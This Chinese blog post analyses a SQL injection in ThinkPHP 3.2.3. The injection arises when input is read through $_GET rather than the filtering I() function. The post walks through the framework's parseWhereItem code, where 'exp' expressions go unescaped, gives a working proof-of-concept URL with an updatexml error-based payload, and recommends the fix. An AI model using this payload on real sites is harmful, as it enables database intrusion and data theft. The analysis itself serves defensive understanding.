实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址:
​​​点击进项目地址​

Think PHP错误写法导致SQL注入

后端代码

# application/home/controller/IndexController.class.php
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index(){
$username=I("username");
// I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换
$data=M("admin")->where(array("name"=>$username))->find();
// M方法用于实例化一个基础模型类,等效于 $User = new Model('User');

dump($data);
}
}

首先输入参数,调试分析

Think PHP错误写法导致SQL注入漏洞代码分析_php


参数默认会经过过滤函数

# Model.class.php
$resultSet = $this->db->select($options);

# Driver.class.php
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';

# Driver.class.php
public function escapeString($str) {
return addslashes($str);
}

# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\'' LIMIT 1

错误写法

# application/home/controller/IndexController.class.php
public function index(){
$username=$_GET("username");
$data=M("admin")->where(array("name"=>$username))->find();
dump($data);
}

poc

Think PHP错误写法导致SQL注入漏洞代码分析_强制转换_02

http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

漏洞原因

exp 表达式

exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新

$map['id']=array('in','1,3,8');

# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......

漏洞修复

数据接收使用 I 函数

I 函数内封装了安全过滤函数

Think PHP错误写法导致SQL注入漏洞代码分析_thinkphp_03